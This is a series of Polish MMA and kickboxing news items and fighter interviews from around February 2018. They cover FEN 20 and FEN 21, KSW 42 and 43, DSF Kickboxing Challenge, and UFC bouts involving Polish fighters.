Znamy nazwisko kolejnego bohatera gali Fight Exclusive Night 20 "Next Level". 10 marca w warszawskiej hali Torwar kibice będą mieli przyjemność zobaczyć w akcji Alana Kwiecińskiego (6-5). Zawodnik wystąpi w formule K-1 w kategorii do 77 kilogramów.

Będzie to trzeci występ Kwiecińskiego pod szyldem FEN, z czego drugi w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show "Warsaw Shore" w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.

– Miało być 10 pojedynków podczas jubileuszowej gali i tak też będzie. Czwarte zestawienie w formule K-1 uczyni to wydarzenie jeszcze lepszym. Niespełna cztery tygodnie do pierwszego gongu, a my mamy jeszcze przygotowane dla wszystkich kibiców niespodzianki. Bądźcie czujni! – powiedział Paweł Jóźwiak, prezes federacji FEN.

Nazwisko przeciwnika Alana Kwiecińskiego federacja FEN ogłosi w ciągu najbliższych dni.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Gwiazdor ACB w DSF Kickboxing Challenge!

Piotr Strus to kolejna gwiazda sportów walki, która wiąże się z DSF Kickboxing Challenge!  W poniedziałek warszawski wojownik podpisał kontrakt z federacją. Jako kickbokser zadebiutuje już 9 marca na gali w Nowym Dworze Mazowieckim.

Do tej pory swoją karierę Strus budował poprzez walki w MMA – walcząc m.in. dla KSW czy obecnie dla ACB. Ale sporty stójkowe nie są mu obce. 29-letni zawodnik zaczynał właśnie od typowo uderzeniowych dyscyplin. Polak odnosił sukcesy w kickboxingu (dwukrotne mistrzostwo Polski młodzieżowców w formule low kick), muay thai (mistrzostwo Polski seniorów) i sandzie (Puchar Świata w Chinach, brązowe medale mistrzostw Europy i świata).

Wywodzę się z kickboxingu i ten sport nadal jest bardzo bliski mojemu sercu. Od kilku tygodni w mediach pojawiały się spekulacje na temat podpisania umowy ze mną, chodziło jednak o Karola Celińskiego. To otworzyło jednak drogę do rozmów i Robert Złotkowski zaproponował mi dołączenie do DSF Kickboxing Challenge na podobnych zasadach – tłumaczy Strus.

Trenujący w klubie WCA Fight Team Strus wyrobił sobie mocne nazwisko w MMA. Zanim podpisał umowę z ACB, dał się poznać fanom w Polsce między innymi dzięki występom w KSW. Teraz otrzyma szansę toczenia zawodowych walk kickbokserskich.

Propozycja od DSF Kickboxing Challenge to dla mnie duży zaszczyt i wymarzone rozwiązanie. Występ w największej rodzimej federacji kickboxingu to szansa na dodatkowy start podczas przygotowań do walki o pas ACB, ta jednak czeka mnie dopiero za kilka miesięcy, więc złożyło się wręcz idealnie – podkreśla Piotr Strus.

W tym roku do DSF Kickboxing Challenge dołączyli już m.in. byli mistrzowie FEN – Paweł Biszczak i Róża Gumienna, robiący furorę poza granicami Polski Dawid Żółtaszek, młodziutki mistrz świata K-1 Adam „Polish Psycho” Gielata oraz wspomniany wyżej inny zawodnik ACB – Karol „Cebula” Celiński.

Nie ukrywam, że z ogromnym podziwem przyglądam się temu, jak rozwija się DSF Kickboxing Challenge. Jestem przekonany, że ta federacja przywróci kickboxingowi jego należne miejsce. W końcu ten fantastyczny sport jest pokazywany z odpowiednim rozmachem. Sądzę, że wkrótce kickboxing odzyska dawną popularność i cieszę się, że będę mógł do tego dołożyć swoją cegiełkę – mówi trener aktora Tomasza Oświecińskiego.

Debiut Strusa w DSF Kickboxing Challenge odbędzie się już 9 marca w Nowym Dworze Mazowieckim – 20 kilometrów od Łomianek, gdzie się wychował.

Urodziłem się na warszawskiej Pradze, ale wychowałem się w Łomiankach, skąd jest naprawdę niedaleko do Nowego Dworu Mazowieckiego. Nie mam wątpliwości, że na mój debiut w DSF Kickboxing Challenge zjadą się kibice z całej okolicy. Zapraszam zarówno ich, jak i wszystkich fanów kickboxingu. Nie chcecie przegapić tego, co wydarzy się w ringu! – kończy Strus.

Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.

FEN 21 26 maja we Wrocławiu!

Miło nam wszystkich poinformować, że gala FEN 21 odbędzie się 26 maja we Wrocławiu. Areną zmagań zawodników będzie Hala Orbita.

FEN po raz siódmy zawita do Wrocławia. To właśnie w stolicy Dolnego Śląska federacja zaczynała swoją działalność i tam też odbyła się ostatnia gala w 2017 roku. "Bitwa o Wrocław" była znakomitym wydarzeniem, które szerokim echem odbiło się w całej Polsce. Drugi akt 2018 roku to powrót do Hali Orbita.

– Wrocław nam leży i 26 maja ponownie zawitamy do tego miasta. Dolny Śląsk uwielbia sporty walki, co potwierdza każda organizowana przez nas gala w tym regionie. Po jubileuszu od razu organizujemy kolejne wydarzenie i mogę już dziś zapewnić, że zaoferujemy wszystkim kibicom znakomite emocje. W Hali Orbita zobaczymy w akcji Marcina Zontka, Tymoteusza Łopaczyka i Mateusza Głąba. O kolejnych nazwiskach poinformujemy w swoim czasie – powiedział Paweł Jóźwiak, prezes FEN.

Przedsprzedaż biletów na galę FEN 21 rozpocznie się 15 lutego o godzinie 15 i będzie dostępna wyłącznie na fen-mma.com/bilet. W przedsprzedaży bilety będą dostępne w specjalnej atrakcyjnej cenie dla fanów FEN. By wziąć udział w przedsprzedaży należy wpisać specjalny kod udostępniony na kanałach społecznościowych federacji oraz jej partnerów.

Przedsprzedaż trwa do 16 lutego do godziny 15:00. Po tym terminie rusza otwarta sprzedaż u stałych partnerów biletowych serwisu.

***

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Held na zastępstwo?

Marcin Held czeka na swoją piątą walkę w UFC. Tyszanin zgłosił akces do pojedynku z Beneilem Dariushem.

Można powiedzieć, że w Gdańsku Marcin Held powrócił do "żywych". Gala UFC Fight Night 118 okazała się szczęśliwa dla Polaka, który odniósł pierwsze zwycięstwo w amerykańskiej organizacji MMA. 26-latek na przestrzeni trzech rund okazał się lepszy od Nasrata Haqparasta. Mówiło się, że dla Polaka to walka ostatniej szansy i udało mu się "uciec spod topora".

Marcin Held trafił do UFC jesienią 2017 roku. Po jego występach w amerykańskiej organizacji obiecywano sobie wiele, bo zawodnik znakomicie radził sobie w Bellatorze, gdzie miał okazję walczyć o pas mistrzowski wagi lekkiej. W listopadzie 2015 roku przegrał jednak z Willem Brooksem.

Wracając do UFC, w debiucie polski lekki przegrał z Diego Sanchezem. W drugiej walce toczył wyrównany bój z Joe Lauzonem i wydawało się, że sędziowie zwycięstwo powinni przyznać Heldowi, jednak wskazali inaczej. Nawet rywal nie ukrywał zdziwienia. Pojedynek z Damirem Hadzoviciem był jak dotąd jedynym, który Held przegrał przez nokaut. Kolano Bośniaka doszło do głowy Polaka, a warto podkreślić, że ten wcześniej kontrolował starcie. Held przegrał po raz trzeci, ale wydostał się z tarapatów i liczy na kolejny pojedynek.

Tyszanin nie daje o sobie zapomnieć i walczy o swoje. 26-latek aż rwie się do kolejnego pojedynku. Niedawno Polak zgłosił gotowość do walki z Kajanem Johnsonem, który pozostawał bez rywala na galę UFC Fight Night 127 w Londynie wobec kontuzji Rustama Khabilova. Włodarze UFC nie słyszeli jednak wołania Helda i zestawili Johnsona z Steviem Rayem.

Były zawodnik Bellatora podjął kolejną próbę. Teraz Held chce wykorzystać fakt, że kontuzji doznał Bobby Green, który 3 marca miał rywalizować podczas gali UFC 222 w Las Vegas z Beneilem Dariushem. Polak celuje w starcie z Amerykaninem, który na zwycięstwo czeka od blisko półtora roku. – Słyszałem, że szukacie kogoś dla Beneila Dariusha na UFC 22. Sean Shelby, Dana White, UFC, jestem gotowy – napisał polski zawodnik na Twitterze.

Dariush odniósł się do słów Helda. – Nie będę narzekał. Potrzebuję tylko nazwiska – odpowiedział Amerykanin.

Pozostaje czekać na rozwój wypadków. Held to zawodnik, które ma spore możliwości i nie raz udowodnił, że ma ogromny talent. 16 z 23 walk wygrał przed czasem. Przydałoby się dopisać zwycięstwo przez poddanie w UFC. Czy, a może kiedy Polak dostanie kolejną szansę w UFC?

KM

Czy „Imadło” zaciśnie Williamsa?

Przed Oskarem Piechotą druga walka w UFC. W niedzielę 18 lutego w Frank Erwin Center w Austin Polak zmierzy się z Timem Williamsem.

Piechota trafił tam, gdzie jego miejsce – tak mówiło wielu, gdy fighter trafił do UFC. Do najlepszej organizacji MMA na świecie "Imadło" mógł zawitać zdecydowanie wcześniej, ale na przeszkodzie stanęła kontuzja. Poddanie japońskim krawatem w styczniu 2015 roku Craiga White'a wprawiło wszystkich w zachwyt. Wtedy wiadomo było, że wielka kariera stoi przed Polakiem otworem. Zerwane więzadło krzyżowe przednie, operacja, rehabilitacja i Piechota kolejną walkę stoczył dopiero w grudniu 2016 roku. Podczas gali Spartan Fight 6 w drugiej rundzie poddał Nikosa Sokolisa. Ważnym wydarzeniem na drodze Piechoty była walka o pas wagi średniej organizacji Cage Warriors. Jego rywalem był Jason Radcliffe. 28-latek w zaledwie 32 sekundy pokonał rywala. Lewy sierpowy, a później ciosy w parterze i Polak w fantastyczny sposób utorował sobie drogę do UFC.

Piechota nie mógł sobie wyobrazić lepszego miejsca do debiutu w UFC niż Gdańsk, w którym się urodził. Polak zmierzył się z Jonathanem Wilsonem i od początku starcia spokojnie czekał na ruch przeciwnika. Pod koniec drugiej rundy Piechota odpalił potężny prawy, ale rywal dotrwał do końca odsłony. Wilson był czujny, gdyż zdawał sobie sprawę z atutów pochodzącego z Gdańska zawodnika. Pod koniec trzeciej rundy Piechota obijał rywala parterze. Polak zwycięsko rozpoczął przygodę z UFC. Teraz czas na kolejną walkę jednego z najlepszych polskich zawodników wagi średniej.

18 lutego Oskar Piechota wystąpi na gali UFC Fight Night 126. Jego rywalem będzie Tim Williams, dla którego będzie to debiut w najlepszej organizacji MMA na świecie. Przez długi czas Amerykanin był związany z CFFC. Williams ma serię pięciu zwycięstw z rzędu. Po raz ostatni przegrał w lipcu 2015 roku z Anthony'm Smithem.

Polak intensywnie trenował i przygotowywał się do walki. Pomagał mu m.in. Tomasz Jabłoński. W poniedziałek Piechota ruszył w drogę do Stanów Zjednoczonych. Na miejscu nie narzeka na samotność. – Podróż była długa ale już na miejscu, doleciał Kamil "Profesor" Umiński także była okazja się trochę poruszać razem z trenerem Grzegorz "Jakubek" Jakubowski. Czekamy aż dojedzie Marcin Tybura oraz Zbigniew "Zybi" Tyszka i polski skład będzie w komplecie. Fight week! – napisał Piechota na Facebooku.

W walce wieczoru gali UFC Fight Night 126 zaprezentują się Donald Cerrone i Yancy Medeiros. Szóstą walkę w amerykańskiej organizacji stoczy Marcin Tybura, który zmierzy się z Derrickiem Lewisem. Ostatnio Polak przegrał z Fabricio Werdumem.

Fot. Oskar Piechota Facebook

KM

Andryszak, Janikowski i Soldić ruszą na Wrocław

Gala KSW 43 za dwa miesiące, jednak organizacja powoli robi apetyty miłośnikom MMA. We wrocławskiej Hali Stulecia zobaczymy m.in. Michała Andryszaka, Damiana Janikowskiego i Roberto Soldicia.

1 – to liczba, która towarzyszy Michałowi Andryszakowi. 24 z 26 walk fightera urodzonego w Bydgoszczy kończyło się w pierwszych rundach. Gdy Andryszak wchodzi do oktagonu pewne jest, że pojedynek będzie efektowny. 25-latek wygrał ostatnich sześć walk, w tym trzy zakończył przed upływem jednej minuty. Andryszak ma za sobą występy na galach takich organizacji jak Cage Warriors, Fighters Arena, PLMMA oraz ACB. W KSW debiutował w marcu 2014 roku w Warszawie. Szybko uporał się z Pawłem Słowińskim, ale na kolejną walkę przyszło mu czekać ponad trzy lata. Podczas gali KSW 39, która odbyła się na stadionie PGE Narodowy Andryszak wygrał z Michałem Kitą przed duszenie, a jego akcję oceniono jako poddanie wieczoru. Jeszcze większe wrażenie zawodnik Ankosu MMA Poznań zrobił w grudniu w Katowicach. Gala KSW 41 należała do Michała Andryszaka. Fernando Rodrigues Jr ruszył na Polaka, ale otrzymał potężny cios, a 25-latek dokończył dzieła w parterze. Starcie trwało zaledwie 26 sekund! Podczas wrocławskiej gali Andryszak będzie chciał sprawić sobie prezent urodzinowy. Dwa dni wcześniej skończy 26 lat.

Niektórzy bawią się we wróżki i przepowiadają wielką karierę w MMA Damianowi Janikowskiemu. Dla brązowego medalisty olimpijskiego w zapasach z Londynu gala KSW 43 będzie wyjątkowa. Zawodnik wystąpi we Wrocławiu, czyli mieście, które jest bliskie jego sercu. Janikowski ma za sobą dwie walki w MMA. W debiucie na stadionie PGE Narodowy pokonał w pierwszej rundzie Julio Gallegosa. Kolejnym wyzwaniem dla byłego zapaśnika było starcie z legendą polskiego MMA Antonim Chmielewskim. Janikowski cały czas był aktywny, jednak 36-latek skutecznie odpierał jego ofensywne zapędy. W pierwszej rundzie medalista olimpijski obalił bardziej doświadczonego rywala. Rozstrzygnięcie przyszło w drugiej odsłonie. Chmielewski obalił Janikowskiego i szukał poddania, jednak sytuacja szybko się odwróciła i wrocławianin zasypał przeciwnika serią ciosów.

We Wrocławiu spotkają się Roberto Soldić i Dricuss du Plessis. Stawką pojedynku będzie pas w wadze półśredniej. Niejako Soldić ma „dług” wobec du Plessisa. Zawodnik z RPA miał w grudniu zmierzyć się z Borysem Mańkowskim, jednak wypadł z powodu kontuzji. Jego miejsce zajął Chorwat, który nie miał litości dla Polaka. Z każdą minutą jego przewaga zaznaczała się. Soldić kompletnie wymęczył Mańkowskiego i narożnik po trzeciej rundzie poddał dotychczasowego czempiona. We Wrocławiu zapowiada się niezwykle interesujące starcie. Znakomita seria któregoś z zawodników zostanie przerwana. Zarówno Soldić, jak i du Plessis wygrali siedem ostatnich walk.

Fot. Damian Janikowski Facebook

KM

Mistrzostwa Polski K1 Pro-am PZKB

Mistrzostwa Polski K1 Pro-am PZKB – 17 luty 2018 r. Marki k/ Warszawy.

Rozkład jazdy:

15:00-17:00 – eliminacje

18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:

– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg

LIVE: Mistrzostwa Polski K1 Pro-am PZKB

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K1 Pro-am PZKB.

Rozkład jazdy:

15:00-17:00 – eliminacje

18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:

– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg

[kod]

Trybson przed FEN 20: Trenerze, zdrowiej, wygram to dla ciebie!

Paweł Trybała (3-3, 3 KO) zmierzy się z Tymoteuszem Świątkiem  (15-4, 7 KO, 6 SUB) podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się w warszawskiej hali Torwar. "Trybson" jest przekonany, że pewnie wygra swoje debiutanckie starcie w FEN, a zwycięstwo zadedykuje swojemu trenerowi, który zmaga się z nowotworem.

Jak się czujesz? Do gali zostało 30 dni.

Paweł Trybała: Czuję się dobrze, ale bylem przez kilka dni przeziębiony i musiałem zmniejszyć obciążania. Już jest jednak w porządku, wychodzę z tego, trenuję raz dziennie. Nie będzie to miało wpływu na moją dyspozycję 10 marca.

Stresujesz się już pojedynkiem?

PT: Nie. Bardziej koncentruję i sobie go wizualizuję. Trenuję z myślą o najbliższej walce, ale nie towarzyszą mi nerwy.

Układasz swój plan pod przeciwnika?

PT: Tak, oczywiście. Niestety, ale mój trener nie bierze udziału w moich przygotowaniach, gdyż zmaga się z chorobą i jego dojście do pełni zdrowia jest w tym momencie najważniejsze. Trzymam za niego kciuki, wierzę, że sobie poradzi. Mirek żyje MMA cały czas, nawet będąc w szpitalu dzwonił do mnie i analizowaliśmy styl walki Tymoteusza Świątka. Mam już nakreślony w głowie plan, jak go pokonać i uczynię to 10 marca.

Niektórzy zawodnicy nie chcą oglądać swoich przeciwników przed pojedynkiem.

PT: Wiem, są dwie szkoły, ale ja wolę widzieć, jakie robi błędy, żeby móc je wykorzystać i zwrócić uwagę na to, co robi dobrze i na co uważać. Mi to pomaga, dlatego też tak zrobiłem.

I co, widziałeś błędy Świątka w ostatnich walkach?

PT: Popełnia je jak każdy, a moim zadaniem będzie je wykorzystać. "Uśmiercić" nieśmiertelnego i wygrać. Tak też zrobię.

Choroba trenera jest dodatkową motywacją?

PT: To są trudne sprawy i niestety mogą przydarzyć się każdemu z nas, dlatego trzymam kciuki za mojego trenera, żeby z tego wyszedł. Da radę, wierzę w to. Walczę dla niego, dla rodziny, dla kibiców – dla wszystkich sympatyzujących mi osób. Z taką wiarą wychodzę do klatki, bo wiem, że to wszystko ma sens.

Jak spędzisz najbliższe tygodnie przed walką?

PT: Czeka mnie dużo pracy, czas sparingów jest bardzo trudny, ale i decydujący w kontekście przygotowania się do walki. Dodatkowo będę ćwiczył wszystkie płaszczyzny – boks, jiu-jitsu, zapasy. Nie mogę dać się zaskoczyć i będę gotowy na wszystko.

Zbijesz wagę do 80 kilogramów? Tak ciężki Świątek jeszcze nie był.

PT: Zbiję, zadeklarowałem się, więc muszę to zrobić. Warunki fizyczne powinny być moim atutem, ale na to nie mogę patrzeć. Jestem silniejszy i lepszy, więc wygram. Świątek to dobry zawodnik, ale będę musiał go pokonać. Tak też się stanie w Warszawie.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Znamy rywala Andrzeja Grzebyka na FEN 20!

Anatolij Litwinow (5-0, 1 KO, 4 SUB) będzie rywalem Andrzeja Grzebyka (11-3, 4 KO, 3 SUB) podczas gali FEN 20 "Next Level". Dzięki temu znamy już osiem zestawień jubileuszowej edycji, która 10 marca odbędzie się w warszawskiej hali Torwar.

Litwinow jest Ukraińcem, urodził się 14 kwietnia 1991 roku w Siewierodoniecku. Z pięciu dotychczas stoczonych pojedynków wszystkie wygrał przed czasem, z czego aż czterokrotnie poddawał swoich rywali. Pierwszą walkę odbył w czerwcu 2016 roku i kolejne 13 miesięce były dla niego bardzo intensywne, gdyż w tym właśnie okresie miały miejsce wszystkie jego starcia. Za każdym razem występował w ojczyźnie i trzykrotnie mierzył się ze swoimi rywalami w kategorii półciężkiej.

Dla Andrzeja Grzebyka będzie to czwarty występ w organizacji FEN – w ostatniej walce na gali FEN 18 „Summer Edition” po znakomitej walce pokonał Marcina Naruszczkę, wcześniej, podczas FEN 14, przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem. Na gali nr 9 „Go For It” natomiast uległ minimalnie na punkty Alessandro Di Chirico. Grzebyk jest znany z bardzo ofensywnego stylu walki  – aż 7 z 11 zwycięstw odniósł przez nokaut lub poddanie. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami w przeszłości nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Grzebyk przed FEN 20: Skoro dostałem takiego rywala, to musi być dobry!

Andrzej Grzebyk (11-3, 4 KO, 3 SUB) poznał nazwisko rywala, z którym zmierzy się 10 marca podczas gali FEN 20 "Next Level". Anatolij Litwinow (5-0, 1 KO, 4 SUB) dopiero zadebiutuje w polskiej organizacji, a Grzebyk podkreśla, że wybór tego akurat przeciwnika nie będzie miał wpływu na to, jaki jego cel przed tym pojedynkiem.

Zadowolony z wyboru przeciwnika?

Andrzej Grzebyk: Czy ja wiem. Przyjąłem to ze spokojem. Skoro został zakontraktowany przez włodarzy FEN do walki ze mną, to znaczy, że musi dużo umieć i na pewno nie przyjedzie do Polski tylko po wypłatę. Nie widziałem go w akcji jeszcze prawdę mówiąc, to dopiero przede mną.

Jak dotychczasowe przygotowania?

AG: Bardzo dobrze, dziękuję. Forma dopisuje, wszystkie mniejsze urazy zostały zażegnane, więc teraz będę sparował i przygotowywał się pod mojego rywala. Trochę mnie nie było w klatce, chciałem wrócić szybciej, ale sprawy związane ze zdrowiem wyglądały w ten sposób, że musiałem wszystko w pełni wyleczyć, by po raz kolejny móc się bić.

Ze zdrowiem już wszystko w porządku?

AG: Tak, wszystko okej. Mam jakieś małe problemy, ale to skutki ciężkich treningów, sparingów. Można powiedzieć, że jestem obolały, a nie kontuzjowany. Na pewnym poziomie każdy zawodnik musi dbać o swoje zdrowie, ja wszystko wyleczyłem, teraz pozostaje mi w spokoju szykować się do walki. Nie martwię się o nic, pozostaje mi tylko trenować.

Zostały cztery tygodnie. Jak je spędzisz?

AG: Na pewno nie będę odpoczywał – to dopiero przed samą walką. Trochę pojeżdżę po różnych klubach, będę sparował, chciałbym z jak najlepszymi zawodnikami móc zmierzyć się, by pomogli mi przygotować się przed 10 marca.

Nie chciałeś walczyć z Polakiem?

AG: Nie robiło mi to żadnej różnicy, choć pojedynki z Polakami są inne. Jest większa presja, atmosfera przed pojedynkiem jest inna, są zaczepki, prowokacje, często gdzieś wcześniej nasze drogi już się zeszły i łączy nas jakaś historia. Jest więcej otoczki przed samym pojedynkiem.

Gdybyś jednak przegrał z Ukraińcem, którego nikt w Polsce nie zna, to też dużo osób mogłoby pomyśleć, że wypadłeś słabo.

AG: Trochę tak, ale mój rywal jest wielką niewiadomą na ten moment dla mnie, dopiero po obejrzeniu jego pojedynków będę mógł więcej na ten temat powiedzieć. W Polsce niewiele go zna, ale to pewnie dobry zawodnik. Niepokonany, za każdym razem kończący swoich rywali przed czasem. To musi coś znaczyć.

Ostatnio powiedziałeś, że chciałbyś w końcu stoczyć pojedynek o pas.

AG: Najbliższy pojedynek nie będzie o pas, więc w ogóle o tym nie myślę. Liczą się cztery najbliższe tygodnie i walka z Antolijem Litwinowem. To jest dla mnie najbardziej istotne. Co będzie potem, zobaczymy, niczego nie zakładam, ale też niczego nie wykluczam.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

KSW 43 we Wrocławiu

3 marca wojownicy KSW pojawią się na gali numer 42 w łódzkiej Atlas Arenie. Wiadomo już, gdzie odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. 14 kwietnia KSW zawita do Wrocławia.

Organizatorzy zapewniają, że w Hali Stulecia pojawią się czołowi fighterzy. Należy czekać na nazwiska, które będą stopniowo wypełniać kartę walk. Kibice MMA z Wrocławia przyzwyczaili się, że na galach KSW w ich mieście nie brakuje gwiazd. Jednak zdążyli się już stęsknić za organizacją Lewandowskiego i Kawulskiego. Po raz ostatni w stolicy Dolnego Śląska KSW gościła w grudniu 2013 roku. Dotychczas we Wrocławiu organizacja była obecna trzy razy.

Podczas ostatniej wizyty, KSW 25, kibice MMA mogli podziwiać efektowną wygraną Mameda Khalidova, który w pierwszej rundzie uporał się z Ryutą Sakuraiem. Również przed czasem wygrywali Rafał Moks, Krzysztof Kułak, Mike Hayes (w pierwszych rundach), Rafał Błachuta, Oli Thompson (w drugich rundach) oraz Jakub Kowalewicz (trzecia runda). We Wrocławiu odbyły się również gale: KSW Eliminacje oraz KSW Eliminacje 2. W pierwszym przypadku turniej wygrał Jan Błachowicz, a w walkach dodatkowych wygrywali Łukasz Jurkowski, Krzysztof Kułak i Mamed Khalidov. Z kolei triumfatorem turnieju podczas KSW Eliminacje 2 był Michał Fijałka. Maciej Górski, Kułak i Khalidov triumfowali w walkach dodatkowych.

Teraz Łódź

Zanim gala we Wrocławiu, kibice zobaczą KSW 42 w łódzkiej Atlas Arenie. 3 marca należy spodziewać się niezwykle ciekawych pojedynków. W walce wieczoru zmierzą się mistrzowie wagi średniej i półciężkiej: Mamed Khalidov i Tomasz Narkun. Pasów mistrzowskich będą bronili Ariane Lipski i Mateusz Gamrot. Kolejny pojedynek w KSW stoczy Łukasz Jurkowski, a w organizacji zadebiutują Paulina Owczarz, Paulina Raszewska i Bartłomiej Kopera. Nie wolno również zapomnieć o starciu Michała Materli, który zmierzy się z Scottem Askhamem.

Warto również wspomnieć, że kontrakt z KSW podpisał nowy zawodnik. To Philip de Fries, który rywalizuje w wadze ciężkiej. 31-latek wygrał czternaście walk, zanotował sześć porażek. Aż jedenaście pojedynków zakończył przez poddanie.

KM

Rosjanka postara się zatrzymać Justino

3 marca podczas gali UFC 222 w T-Mobile Arenie w Las Vegas Cristiane Justino po raz drugi będzie broniła pasa wagi piórkowej. Naprzeciw skutecznej do bólu Brazylijki stanie Yana Kunitskaya.

Popularna "Cyborg" jest bezapelacyjną gwiazdą kobiecego MMA. W każdej walce "idzie po swoje". Dosłownie miażdży kolejne rywalki i staje się postrachem dla tych, które z nadzieją spoglądają w stronę pasa wagi piórkowej. W ostatniej walce, 30 grudnia, trudne warunki Brazylijce postawiła Holly Holm. 36-letnia była mistrzyni wagi koguciej UFC wytrzymała z Justino w oktagonie pięć rund. Co prawda przegrała jednogłośnie na punkty, ale "Cyborg" po raz ostatni na pełnym dystansie walczyła blisko dziesięć lat temu! Kibice czekają na występy zawodniczki z Kurytyby, bo wiedzą, że mogą spodziewać się efektownych pojedynków. Dotychczas Justino stoczyła cztery walki w UFC, trzy z nich wygrała przed czasem.

3 marca w Las Vegas wyzwanie Brazylijce rzuci Yana Kunitskaya. 28-latka już w debiucie w UFC ma szansę sięgnąć po mistrzowski pas. Rosjanka może pochwalić się tytułem mistrzyni wagi koguciej organizacji Invicta. W ostatniej walce pokonała Raquel Pa'aluhi, a wcześniej przegrała z Tonyą Evinger, którąw UFC pokonała… Justino. Warto dodać, że Kunitskaya ma na rozkładzie trzy Polki: Magdalenę Jarecką, Kamilę Bałandę i Sylwię Kusiak.

Początkowo mająca za sobą występy w organizacji Invicta zawodniczka miała zadebiutować na lutowej gali UFC on Fox 28. Planowano jej walkę z Sarą McMann, jednak ta została zestawiona z Marion Reneau wobec kontuzji Evinger. Fakt, że Kunitskaya w debiucie zmierzy się z Justino powinien cieszyć Rosjankę. Przy okazji przejścia do UFC 28-latka ostrzegała Brazylijkę. Teraz w oktagonie będzie miała okazję zaprezentować swoje umiejętności.

Edgar musi poczekać                                          

Podczas UFC 222 miało dojść do starcia Frankie Edgara z Maxem Holloway’em o mistrzostwo wagi piórkowej, jednak 26-letni Amerykanin doznał kontuzji. To miało być starcie wieczoru, ale nastąpiły zmiany. Głównym daniem będzie pojedynek Justino z Kunitskayą.

